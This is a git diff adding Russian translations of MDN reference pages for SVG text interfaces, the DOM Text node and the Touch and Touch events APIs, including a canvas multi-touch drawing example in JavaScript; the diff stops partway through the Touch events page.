+<p><em>Этот интерфейс также наследует свойства от его родителя,<br>
+ {{domxref("SVGGraphicsElement")}}. </em></p>
+
+<dl>
+ <dt>{{domxref("SVGTextContentElement.textLength")}} {{ReadOnlyInline}}</dt>
+ <dd>{{domxref("SVGAnimatedLength")}}, отражает атрибут {{SVGAttr("textLength")}} данного элемента.</dd>
+ <dt>{{domxref("SVGTextContentElement.lengthAdjust")}} {{ReadOnlyInline}}</dt>
+ <dd>{{domxref("SVGAnimatedEnumeration")}}, отражает атрибут {{SVGAttr("lengthAdjust")}} данного элемента. Значения числового типа представляют одно из значений константы выше.</dd>
+ <dt> </dt>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Этот интерфейс также наследует методы от его родителя, {{domxref("SVGGraphicsElement")}}</em></p>
+
+<dl>
+ <dt>{{domxref("SVGTextContentElement.getNumberOfChars()")}}</dt>
+ <dd>Возвращает длину, представляющую общее количество адресуемых символов, доступных для рендеринга в текущем элементе, независимо от того, будут ли они отображаться.</dd>
+ <dt>{{domxref("SVGTextContentElement.getComputedTextLength()")}}</dt>
+ <dd>Возвращает float, представляющий вычисленную длину для текста внутри элемента.</dd>
+ <dt>{{domxref("SVGTextContentElement.getSubStringLength()")}}</dt>
+ <dd>Возвращает float, представляющий вычисленную длину форматированного расстояния продвижения текста для подстроки текста внутри элемента. Обратите внимание, что этот метод учитывает только ширину глифов в подстроке и любые дополнительные интервалы, вставленные свойствами CSS «letter-spacing» и «word-spacing». Настройки визуального интервала, сделанные атрибутом «x», игнорируются.</dd>
+ <dt>{{domxref("SVGTextContentElement.getStartPositionOfChar()")}}</dt>
+ <dd>Возвращает {{domxref("DOMPoint")}}, представляющий позицию типографического символа после выполнения макета текста.
+ <p class="note"><strong>Примечание:</strong> В SVG 1.1 этот метод вернул {{domxref("SVGPoint")}}.</p>
+ </dd>
+ <dt>{{domxref("SVGTextContentElement.getEndPositionOfChar()")}}</dt>
+ <dd>Возвращает {{domxref("DOMPoint")}}, представляющий конечную позицию типографического символа после выполнения макета текста.
+ <p class="note"><strong>Примечание:</strong> В SVG 1.1 этот метод вернул {{domxref("SVGPoint")}}.</p>
+ </dd>
+ <dt>{{domxref("SVGTextContentElement.getExtentOfChar()")}}</dt>
+ <dd>Возвращает {{domxref("DOMRect")}}, представляющий вычисляемые габариты ячейки глифа, соответствующие заданному типографическому символу.</dd>
+ <dt>{{domxref("SVGTextContentElement.getRotationOfChar()")}}</dt>
+ <dd>Возвращает поплавок <code>float</code>, представляющий поворот типографического символа.</dd>
+ <dt>{{domxref("SVGTextContentElement.getCharNumAtPosition()")}}</dt>
+ <dd>Возвращает длину символа, заставляющего текстовый глиф отображаться в заданной позиции в системе координат. Поскольку связь между символами и глифами не является взаимно однозначной, возвращается только первый символ соответствующего типографического символа. </dd>
+ <dt>{{domxref("SVGTextContentElement.selectSubString()")}} {{deprecated_inline}}</dt>
+ <dd>Выбирает текст внутри элемента.</dd>
+</dl>
+
+<h2 id="Характеристики">Характеристики</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Коммент</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG2", "text.html#InterfaceSVGTextContentElement", "SVGTextContentElement")}}</td>
+   <td>{{Spec2("SVG2")}}</td>
+   <td>Измененное наследование от {{domxref("SVGElement")}} до {{domxref("SVGGraphicsElement")}} и <code>getStartPositionOfChar()</code> удаленных реализаций {{domxref("SVGTests")}}, {{domxref("SVGLangSpace" )}}, {{domxref("SVGExternalResourcesRequired")}}, {{domxref("SVGStylable")}} интерфейсов и <code>getEndPositionOfChar()</code>, чтобы вернуть {{domxref("DOMPoint")}} вместо {{domxref( "SVGPoint")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG1.1", "text.html#InterfaceSVGTextContentElement", "SVGTextContentElement")}}</td>
+   <td>{{Spec2("SVG1.1")}}</td>
+   <td>Начальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузером">Совместимость с браузером</h2>
+
+<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на перенос.</div>
+
+<p>{{Compat("api.SVGTextContentElement")}}</p>
diff --git a/files/ru/web/api/svgtextelement/index.html b/files/ru/web/api/svgtextelement/index.html
new file mode 100644
index 0000000000..f1e27d56a3
--- /dev/null
+++ b/files/ru/web/api/svgtextelement/index.html
@@ -0,0 +1,61 @@
+---
+title: SVGTextElement
+slug: Web/API/SVGTextElement
+tags:
+  - SVG
+  - Text
+  - Текст
+translation_of: Web/API/SVGTextElement
+---
+<div>{{APIRef("SVG")}}</div>
+
+<p>Интерфейс <strong><code>SVGTextElement</code></strong> соответствует элементам {{SVGElement("text")}}.</p>
+
+<div style="margin-left: 4px; padding: 4px;">{{InheritanceDiagram(600, 120)}}</div>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Этот интерфейс не реализует никаких конкретных свойств, но наследует свойства от его родительского интерфейса, {{domxref("SVGTextPositioningElement")}}. </em></p>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Этот интерфейс не реализует никаких конкретных методов, но наследует методы от его родительского интерфейса, {{domxref("SVGTextPositioningElement")}}.</em></p>
+
+<h2 id="Характеристики">Характеристики</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Коммент</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG2", "text.html#InterfaceSVGTextElement", "SVGTextElement")}}</td>
+   <td>{{Spec2("SVG2")}}</td>
+   <td>
+    <p>Удален реализованный<br>
+     интерфейс {{domxref("SVGTransformable")}}.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG1.1", "text.html#InterfaceSVGTextElement", "SVGTextElement")}}</td>
+   <td>{{Spec2("SVG1.1")}}</td>
+   <td>Начальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузером">Совместимость с браузером</h2>
+
+<div>
+<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на перенос.</div>
+
+<p>{{Compat("api.SVGTextElement")}}</p>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{SVGElement("text")}}</li>
+</ul>
diff --git a/files/ru/web/api/text/index.html b/files/ru/web/api/text/index.html
new file mode 100644
index 0000000000..f8e5f25f0e
--- /dev/null
+++ b/files/ru/web/api/text/index.html
@@ -0,0 +1,112 @@
+---
+title: Текст
+slug: Web/API/Text
+tags:
+  - Node
+  - Text
+  - Текст
+translation_of: Web/API/Text
+---
+<p>{{ApiRef("DOM")}}</p>
+
+<p>Интерфейс <strong><code>Text</code></strong> представляет собой текстовое содержание (элемента) {{domxref("Element")}} или {{domxref("Attr")}}.  Если элемент не имеет разметки внутри собственного содержимого, то он интерпретируется как a single child (implementing) <code>Text</code> ,который содержит текст элемента.  Однако, если элемент содержит разметку, он разбивается на information items и <code>Text</code> nodes ,которые образуют его дочерние элементы.</p>
+
+<p>Новые документы имеют единственный(одиночный) <code>Text</code> node для каждого блока текста. Со временем, могут быть созданы новые <code>Text</code> nodes, по мере того, как изменяется содержимое документа.  Метод {{domxref("Node.normalize()")}} производит слияние смежных объектов <code>Text </code>обратно в a single node для каждого блока текста.</p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<h2 id="Methods" name="Methods">Конструктор</h2>
+
+<dl>
+ <dt>{{domxref("Text.Text", "Text()")}} {{experimental_inline}}</dt>
+ <dd>Возвращает <code>Text</code> node с параметром, который представляет собой его текстовое содержимое.</dd>
+</dl>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Inherits properties from its parent, {{domxref("CharacterData")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("Text.isElementContentWhitespace")}} {{readonlyInline}}{{ obsolete_inline() }}</dt>
+ <dd>
+ <p>Возвращает флаг {{domxref("Boolean")}}, сигнализирующий, содержит ли (или нет) text node только пробел(ы).</p>
+ </dd>
+ <dt>{{domxref("Text.wholeText")}} {{readonlyInline}}</dt>
+ <dd>Возвращает {{domxref("DOMString")}}, который содержит все <code>Text</code> nodes логически примыкающие к этому {{domxref("Node")}}, соединенные как в документе.</dd>
+ <dt>{{domxref("Text.assignedSlot")}} {{readonlyinline}}</dt>
+ <dd>Возвращает объект {{domxref("HTMLSlotElement")}}, связанный с этим элементом.</dd>
+</dl>
+
+<h3 id="Свойства_(included)_от_Slotable">Свойства (included) от Slotable</h3>
+
+<p><em>Интерфейс <code>Text</code>включает следующее свойство, определяемое при смешивании {{domxref("Slotable")}} .</em></p>
+
+<dl>
+ <dt>{{domxref("Slotable.assignedSlot")}} {{readonlyInline}}</dt>
+ <dd>Возвращает {{domxref("HTMLSlotElement")}}, представляющий {{htmlelement("slot")}}, в который вставлен данный узел.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Наследует родительские методы, {{domxref("CharacterData")}}.</em></p>
+
+<dl>
+</dl>
+
+<dl>
+ <dt>{{domxref("Text.replaceWholeText")}} {{ obsolete_inline() }}</dt>
+ <dd>Заменяет текст текущего узла и  всех логически прилегающих узлов указанным текстом(with the specified text).</dd>
+</dl>
+
+<dl>
+ <dt><span class="internal">{{domxref("Text.splitText")}}</span></dt>
+ <dd>Разбивает узел на два узла с заданным отступом.</dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#text', 'Text')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Удалено свойство <code>isElementContentWhitespace</code>.<br>
+    <code>Удален метод replaceWholeText()</code>.<br>
+    Добавлен конструктор <code>Text()</code>.<br>
+    Добавлено свойство <code>assignedSlot</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#ID-1312295772', 'Text')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Добавлены свойства <code>isElementContentWhitespace</code> и <code>wholeText</code>.<br>
+    Добавлен метод <code>replaceWholeText()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-1312295772', 'Text')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>Без изменений по сравнению с  {{SpecName('DOM1')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-core.html#ID-1312295772', 'Text')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Первоначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.Text")}}</p>
+
+<h2 id="Смотри(те)_также">Смотри(те) также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/DOM/DOM_Reference" title="/en-US/docs/DOM/DOM_Reference">The DOM interfaces index</a>.</li>
+</ul>
diff --git a/files/ru/web/api/touch/index.html b/files/ru/web/api/touch/index.html
new file mode 100644
index 0000000000..c7d6df32b8
--- /dev/null
+++ b/files/ru/web/api/touch/index.html
@@ -0,0 +1,108 @@
+---
+title: Touch
+slug: Web/API/Touch
+translation_of: Web/API/Touch
+---
+<p>{{ APIRef("Touch Events") }}</p>
+
+<p><font face="Arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">Интерфейс </span></font><code><strong>Touch</strong></code> представляет определённую точку касания на сенсорном устройстве. Точка касания – это место контакта пальца или стилуса с сенсорной поверхностью тачскрина или трекпада.</p>
+
+<p>Свойства {{ domxref("Touch.radiusX") }}, {{ domxref("Touch.radiusY") }}, и {{ domxref("Touch.rotationAngle") }} содержат данные об области контакта между пользователем и экраном – <em>области касания</em>. Они могут быть полезны при работе с устройствами, предусматривающими указатели низкой точности, например палец. Эти значения описывают эллипс, который соответствует области контакта (например, кончик пальца пользователя). {{experimental_inline}}</p>
+
+<div class="note">
+<p><strong>Примечание:</strong> Многие значения зависят от устройства; например, если устройство не способно измерять силу нажатия на сенсорную поверхность, значение <code>force</code> всегда будет равняться 0. То же касается значений <code>radiusX</code> и <code>radiusY</code>; если у устройства только одна точка касания, данные значения всегда будут равны 1.</p>
+</div>
+
+<h2 id="Конструктор">Конструктор</h2>
+
+<dl>
+ <dt>{{domxref("Touch.Touch", "Touch()")}} {{experimental_inline}}</dt>
+ <dd>Создаёт объект Touch.</dd>
+</dl>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Данный интерфейс не имеет предков, не наследует и не реализует другие свойства</em></p>
+
+<h3 id="Основные_свойства">Основные свойства</h3>
+
+<dl>
+ <dt>{{ domxref("Touch.identifier") }} {{readonlyInline}}</dt>
+ <dd>Возвращает уникальный идентификатор указанного объекта <code>Touch</code>. Данная точка касания (например, пальцем) будет иметь один и тот же идентификатор на протяжении всего движения по сенсорной поверхности. Это гарантирует, что вы всё время отслеживаете одно и то же касание.</dd>
+ <dt><strong>{{ domxref("Touch.screenX") }} </strong>{{readonlyInline}}</dt>
+ <dd>Возвращает координату X точки касания относительно левого края экрана.</dd>
+ <dt><strong>{{ domxref("Touch.screenY") }} </strong>{{readonlyInline}}</dt>
+ <dd>Возвращает координату Y точки касания относительно верхнего края экрана.</dd>
+ <dt><strong>{{ domxref("Touch.clientX") }} </strong>{{readonlyInline}}</dt>
+ <dd>Возвращает координату X точки касания относительно левого края окна браузера, не учитывая прокрутку.</dd>
+ <dt><strong>{{ domxref("Touch.clientY") }} </strong>{{readonlyInline}}</dt>
+ <dd>Возвращает координату Y точки касания относительно верхнего края окна браузера, не учитывая прокрутку.</dd>
+ <dt>{{ domxref("Touch.pageX") }} {{readonlyInline}}</dt>
+ <dd>Возвращает коодринату X точки касания относительно левого края документа. В отличие от <code>clientX</code>, это значение учитывает горизонтальную прокрутку, если она есть.</dd>
+ <dt>{{ domxref("Touch.pageY") }} {{readonlyInline}}</dt>
+ <dd>Возвращает коодринату Y точки касания относительно верхнего края документа. В отличие от <code>clientY</code>, это значение учитывает вертикальную прокрутку, если она есть.</dd>
+ <dt>{{ domxref("Touch.target") }} {{readonlyInline}}</dt>
+ <dd>Возвращает элемент ({{ domxref("Element")}}), на который попала точка касания, когда впервые появилась на сенсорной поверхности, даже если потом она была смещена за пределы данного элемента или даже была удалена из документа.</dd>
+</dl>
+
+<h3 id="Область_касания">Область касания</h3>
+
+<p>{{SeeCompatTable}}</p>
+
+<dl>
+ <dt>{{ domxref("Touch.radiusX") }} {{readonlyInline}} {{experimental_inline}}</dt>
+ <dd>Возвращает радиус элипса по оси X, наиболее близко соответствующий области контакта с экраном. Значение в пикселях того же масштаба, что и <code>screenX</code>.</dd>
+ <dt>{{ domxref("Touch.radiusY") }} {{readonlyInline}} {{experimental_inline}}</dt>
+ <dd>Возвращает радиус элипса по оси Y, наиболее близко соответствующий области контакта с экраном. Значение в пикселях того же масштаба, что и <code>screenY</code>.</dd>
+ <dt>{{ domxref("Touch.rotationAngle") }} {{readonlyInline}} {{experimental_inline}}</dt>
+ <dd>Возвращает угол (в градусах), на который описываемый эллипс должен быть повёрнут по часовой стрелке, чтобы наиболее точно покрыть область контакта пользователя с сенсорной поверхностью.</dd>
+ <dt>{{ domxref("Touch.force") }}{{readonlyInline}} {{experimental_inline}}</dt>
+ <dd>Возвращает силу давления пользователем на сенсорную поверхность. Является числом от 0.0 (без давления) до 1.0 (максимальное давление).</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Этот интерфейс не имеет метода и родителя, а также не наследует и не реализует какой-либо метод.</em></p>
+
+<dl>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Touch Events 2', '#touch-interface', 'Touch')}}</td>
+   <td>{{Spec2('Touch Events 2')}}</td>
+   <td>Добавлены свойства <code>radiusX</code>, <code>radiusY</code>, <code>rotationAngle</code>, <code>force</code>, и также конструктор <code>Touch()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Touch Events', '#touch-interface', 'Touch')}}</td>
+   <td>{{Spec2('Touch Events')}}</td>
+   <td>Исходное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>
+
+
+<p>{{Compat("api.Touch")}}</p>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("Touch_events","Touch Events Overview")}}</li>
+ <li>{{ domxref("Document.createTouch()") }}</li>
+</ul>
+
+<dl>
+</dl>
diff --git a/files/ru/web/api/touch_events/index.html b/files/ru/web/api/touch_events/index.html
new file mode 100644
index 0000000000..be6d85889a
--- /dev/null
+++ b/files/ru/web/api/touch_events/index.html
@@ -0,0 +1,337 @@
+---
+title: События касаний (тач-события)
+slug: Web/API/Touch_events
+translation_of: Web/API/Touch_events
+---
+<div>{{DefaultAPISidebar("Touch Events")}}</div>
+
+<p>Чтобы предоставить качественную поддержку пользовательского интерфейса, связанного с касаниями, тач-события предлагают возможность интерпретировать действия пальца (или стилуса) на сенсорных экранах или трекпадах.</p>
+
+<p>Интерфейсы событий касания - это относительно низкоуровневые API, которые можно использовать для поддержки приложений со специфическими мультитач-взаимодействиями, например жестом двумя пальцами. Мультитач взаимодействие запускается, когда палец (или стилус) впервые касается контакной поверхности. Другие пальцы могут следом коснуться поверхности и, если нужно, перемещаться по ней. Взаимодействие считается завершённым, когда пальцы с поверхности убираются. Во время взаимодействия, события касания срабатывают на начальном этапе (первое прикосновение), этапе перемещения по поверхности, и завершающем этапе (когда пальцы убираются с поверхности)..</p>
+
+<p>События касаний подобны событиям мыши за исключением того, что они поддерживают несколько одновременных касаний в разных местах сенсорной поверхности. Интерфейс {{domxref("TouchEvent")}} содержит все активные в данный момент точки прикосновения. Интерфейс {{domxref("Touch")}}, который представляет одну точку касания, включает такую информацию, как позиция точки касания относительно области видимости браузера.</p>
+
+<h2 id="Определения">Определения</h2>
+
+<dl>
+ <dt>Поверхность (Surface)</dt>
+ <dd>Чувствительная к касаниям поверхность. Это может быть экран или трекпад.</dd>
+</dl>
+
+<dl>
+ <dt>Точка касания (Touch point)</dt>
+ <dd>Точка контакта с поверхностью. Это может быть палец (или локоть, ухо, нос, что угодно, но обычно это палец) или стилус. </dd>
+</dl>
+
+<h2 id="Интерфейсы">Интерфейсы</h2>
+
+<dl>
+ <dt>{{domxref("TouchEvent")}}</dt>
+ <dd>Представляет событие, происходящее при изменении состояния касания поверхности.</dd>
+ <dt>{{domxref("Touch")}}</dt>
+ <dd>Представляет одну точку контакта пользователя с сенсорной поверхностью.</dd>
+ <dt>{{domxref("TouchList")}}</dt>
+ <dd>Представляет группу касаний; это используется, если пользователь, например, касается поверхности несколькими пальцами одновременно.</dd>
+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<p>В этом примере отслеживаются несколько касаний одновременно, позволяя пользователю рисовать в {{HTMLElement("canvas")}} несколькими пальцами одновременно. Это будет работать лишь в браузере, который поддерживает touch-события.</p>
+
+<div class="note"><strong>Примечание:</strong> В тексте ниже для описания контакта с поверхностью используется понятие "палец", но это также может быть стилус или другой способ контакта.</div>
+
+<h3 id="Создание_canvas">Создание canvas</h3>
+
+<pre class="brush: html notranslate">&lt;canvas id="canvas" width="600" height="600" style="border:solid black 1px;"&gt;
+  Ваш браузер не поддерживает элемент canvas.
+&lt;/canvas&gt;
+&lt;br&gt;
+Log: &lt;pre id="log" style="border: 1px solid #ccc;"&gt;&lt;/pre&gt;</pre>
+
+<h3 id="Добавление_обработчиков_событий">Добавление обработчиков событий</h3>
+
+<p>После загрузки страницы будет вызвана функция <code>startup()</code>, показанная ниже</p>
+
+<pre class="brush: js notranslate">function startup() {
+  var el = document.getElementById("canvas");
+  el.addEventListener("touchstart", handleStart, false);
+  el.addEventListener("touchend", handleEnd, false);
+  el.addEventListener("touchcancel", handleCancel, false);
+  el.addEventListener("touchmove", handleMove, false);
+}</pre>
+
+<p>document.addEventListener("DOMContentLoaded", startup);</p>
+
+<p>Данная функция просто добавляет обработчики событий для элемента {{HTMLElement("canvas")}}, чтобы мы могли обрабатывать события касания по мере их возникновения</p>
+
+<h4 id="Отслеживание_новых_касаний">Отслеживание новых касаний</h4>
+
+<p>Рассмотрим касания в действии.</p>
+
+<pre class="brush: js notranslate">var ongoingTouches = [];
+</pre>
+
+<p>Когда возникает событие {{event("touchstart")}}, свидетельствующее о новом касании к поверхности, вызывается приведённая ниже функция <code>handleStart()</code>.</p>
+
+<pre class="brush: js notranslate">function handleStart(evt) {
+  evt.preventDefault();
+  console.log("touchstart.");
+  var el = document.getElementById("canvas");
+  var ctx = el.getContext("2d");
+  var touches = evt.changedTouches;
+
+  for (var i = 0; i &lt; touches.length; i++) {
+    console.log("touchstart:" + i + "...");
+    ongoingTouches.push(copyTouch(touches[i]));
+    var color = colorForTouch(touches[i]);
+    ctx.beginPath();
+    ctx.arc(touches[i].pageX, touches[i].pageY, 4, 0, 2 * Math.PI, false);  // a circle at the start
+    ctx.fillStyle = color;
+    ctx.fill();
+    console.log("touchstart:" + i + ".");
+  }
+}
+</pre>
+
+<p>Она вызывает {{domxref("event.preventDefault()")}} для того, чтобы предотвратить обработку браузером события касания (это также предотвращает обработку события мыши). Затем мы получаем контекст и извлекаем список измененных точек касаний из свойства {{domxref("TouchEvent.changedTouches")}} данного события.</p>
+
+<p>После этого мы перебираем все объекты {{domxref("Touch")}} в списке, помещая их в массив активных точек касания и рисуя начальную точку в виде маленького кружка; мы используем линию толщиной 4 пикселя, поэтому получим аккуратный круг радиусом 4 пикселя.</p>
+
+<h4 id="Рисование_движением">Рисование движением</h4>
+
+<p>Каждый раз, когда двигается один или несколько пальцев, срабатывает событие {{event("touchmove")}}, в результаете чего вызывается наша функция <code>handleMove()</code>.В этом примере данная функция ответственна за обновление данных о касании и рисование линии от предыдущей до текущей точки касания.</p>
+
+<pre class="brush: js notranslate">function handleMove(evt) {
+  evt.preventDefault();
+  var el = document.getElementById("canvas");
+  var ctx = el.getContext("2d");
+  var touches = evt.changedTouches;
+
+  for (var i = 0; i &lt; touches.length; i++) {
+    var color = colorForTouch(touches[i]);
+    var idx = ongoingTouchIndexById(touches[i].identifier);
+
+    if (idx &gt;= 0) {
+      console.log("continuing touch "+idx);
+      ctx.beginPath();
+      console.log("ctx.moveTo(" + ongoingTouches[idx].pageX + ", " + ongoingTouches[idx].pageY + ");");
+      ctx.moveTo(ongoingTouches[idx].pageX, ongoingTouches[idx].pageY);
+      console.log("ctx.lineTo(" + touches[i].pageX + ", " + touches[i].pageY + ");");
+      ctx.lineTo(touches[i].pageX, touches[i].pageY);
+      ctx.lineWidth = 4;
+      ctx.strokeStyle = color;
+      ctx.stroke();
+
+      ongoingTouches.splice(idx, 1, copyTouch(touches[i]));  // swap in the new touch record
+      console.log(".");
+    } else {
+      console.log("can't figure out which touch to continue");
+    }
+  }
+}
+</pre>
+
+<p>Функция также перебирает измененные касания, ищет в нашем массиве данных о касаниях предыдущие данные о каждом касании для определения начальной точки каждого отрезка линии, который должен быть нарисован с помощью касания. Это реализовано путем отслеживания свойства {{domxref("Touch.identifier")}} каждого касания. Это свойство является уникальным числом для каждого касания, и остается неизменным на протяжении всего времени контакта пальца с экраном.</p>
+
+<p>Это позволяет нам получать координаты предыдущей позиции каждого касания и использовать подходящий метод "canvas-контекста" для рисования отрезка линии, соединяющего начало и конец.</p>
+
+<p>После рисования линии, мы вызываем <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Array/splice"><code>Array.splice()</code></a>, чтобы в массиве <code>ongoingTouches</code> заменить предыдущие данные о точке касания на текущие.</p>
+
+<h4 id="Обработка_завершения_касания">Обработка завершения касания</h4>
+
+<p>Когда пользователь убирает палец с сенсорной поверхности, срабатывает событие {{domxref("Element/touchend_event", "touchend")}}. Мы обрататываем его, вызывая фунцию <code>handleEnd()</code>, которая представлена ниже. Ее задача - рисовать последний отрезок линии для каждого касания, которое завершилось, и удалять точку касания из текущего списка касаний.</p>
+
+<pre class="brush: js notranslate">function handleEnd(evt) {
+  evt.preventDefault();
+  log("touchend");
+  var el = document.getElementById("canvas");
+  var ctx = el.getContext("2d");
+  var touches = evt.changedTouches;
+
+  for (var i = 0; i &lt; touches.length; i++) {
+    var color = colorForTouch(touches[i]);
+    var idx = ongoingTouchIndexById(touches[i].identifier);
+
+    if (idx &gt;= 0) {
+      ctx.lineWidth = 4;
+      ctx.fillStyle = color;
+      ctx.beginPath();
+      ctx.moveTo(ongoingTouches[idx].pageX, ongoingTouches[idx].pageY);
+      ctx.lineTo(touches[i].pageX, touches[i].pageY);
+      ctx.fillRect(touches[i].pageX - 4, touches[i].pageY - 4, 8, 8);  // and a square at the end
+      ongoingTouches.splice(idx, 1);  // remove it; we're done
+    } else {
+      console.log("can't figure out which touch to end");
+    }
+  }
+}
+</pre>
+
+<p>Она очень похожа на предыдущюю функцию; единственное отличие заключается в том, что,что теперь мы рисуем маленький квадрат, чтобы обозначить конец, и в том, что когда мы мы вызываем  <code><a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Array/splice">Array.splice()</a></code>, мы просто удаляем старую запись из текущего списка касаний без добавления обновленной информации. В результате мы прекращаем отслеживать эту точку касания.</p>
+
+<h4 id="Обработка_отмененных_касаний">Обработка отмененных касаний</h4>
+
+<p>Если палец пользователя перемещается в интерфейс браузера или прикосновение должно быть отменено, отправляется событие {{domxref("Element/touchcancel_event", "touchcancel")}}, и мы вызываем функцию <code>handleCancel()</code>, приведённую ниже.</p>
+
+<pre class="brush: js notranslate">function handleCancel(evt) {
+  evt.preventDefault();
+  console.log("touchcancel.");
+  var touches = evt.changedTouches;
+
+  for (var i = 0; i &lt; touches.length; i++) {
+    var idx = ongoingTouchIndexById(touches[i].identifier);
+    ongoingTouches.splice(idx, 1);  // remove it; we're done
+  }
+}
+</pre>
+
+<p>Поскольку идея состоит в том, чтобы немедленно прервать касание, мы просто удаляем его из текущего списка касаний без рисования завершающего отрезка линии.</p>
+
+<h3 id="Удобные_функции">Удобные функции</h3>
+
+<p>Этот пример использует две удобные функции, которые следует кратко рассмотреть, чтобы сделать остальную часть кода более понятной.</p>
+
+<h4 id="Выбор_цвета_для_каждого_касания">Выбор цвета для каждого касания</h4>
+
+<p>Чтобы рисунок каждого касания выглядел по-разному, используется функция <code>colorForTouch()</code>, в которой цвета выбираются на основе уникального идентификатора касаний. Этот идентификатор является скрытым числом, но мы, по крайней мере, можем полагаться на то, что у каждого активного на данный момент касания он уникальный.</p>
+
+<pre class="brush: js notranslate">function colorForTouch(touch) {
+  var r = touch.identifier % 16;
+  var g = Math.floor(touch.identifier / 3) % 16;
+  var b = Math.floor(touch.identifier / 7) % 16;
+  r = r.toString(16); // make it a hex digit
+  g = g.toString(16); // make it a hex digit
+  b = b.toString(16); // make it a hex digit
+  var color = "#" + r + g + b;
+  console.log("color for touch with identifier " + touch.identifier + " = " + color);
+  return color;
+}
+</pre>
+
+<p>Результатом этой функции является строка, которую можно использовать при вызове {{HTMLElement("canvas")}}-функций для задания цвета рисования. Например, для значения {{domxref("Touch.identifier")}}, равного 10, результатом будет "#a31".</p>
+
+<h4 id="Копирование_объекта_касания">Копирование объекта касания</h4>
+
+<p>Некоторые браузеры (например, мобильный Safari) повторно используют объекты касания в разных событиях, поэтому лучше копировать только важные свойства, а не ссылаться на весь объект.</p>
+
+<pre class="brush: js notranslate">function copyTouch({ identifier, pageX, pageY }) {
+  return { identifier, pageX, pageY };
+}</pre>
+
+<h4 id="Поиск_текущего_касания">Поиск текущего касания</h4>
+
+<p>Приведённая ниже функция <code>ongoingTouchIndexById()</code> сканирует весь массив <code>ongoingTouches</code>, чтобы найти касание, соответствующее данному идентификатору, после чего возвращает в массив индекс этого касания.</p>
+
+<pre class="brush: js notranslate">function ongoingTouchIndexById(idToFind) {
+  for (var i = 0; i &lt; ongoingTouches.length; i++) {
+    var id = ongoingTouches[i].identifier;
+
+    if (id == idToFind) {
+      return i;
+    }
+  }
+  return -1;    // not found
+}
+</pre>
+
+<h4 id="Отображение_происходящего">Отображение происходящего</h4>
+
+<pre class="brush: js notranslate">function log(msg) {
+  var p = document.getElementById('log');
+  p.innerHTML = msg + "\n" + p.innerHTML;
+}</pre>
+
+<p>Если ваш браузер поддерживает это, вы можете {{LiveSampleLink('Example', 'посмотреть живой пример')}}.</p>
+
+<p><a href="http://jsfiddle.net/Darbicus/z3Xdx/10/">Пример sFiddle</a></p>
+
+<h2 id="Дополнительные_советы">Дополнительные советы</h2>
+
+<p>Этот раздел даёт дополнительные советы о том, как обрабатывать события касаний в ваших веб-приложениях.</p>
+
+<h3 id="Обработка_кликов">Обработка кликов</h3>
+
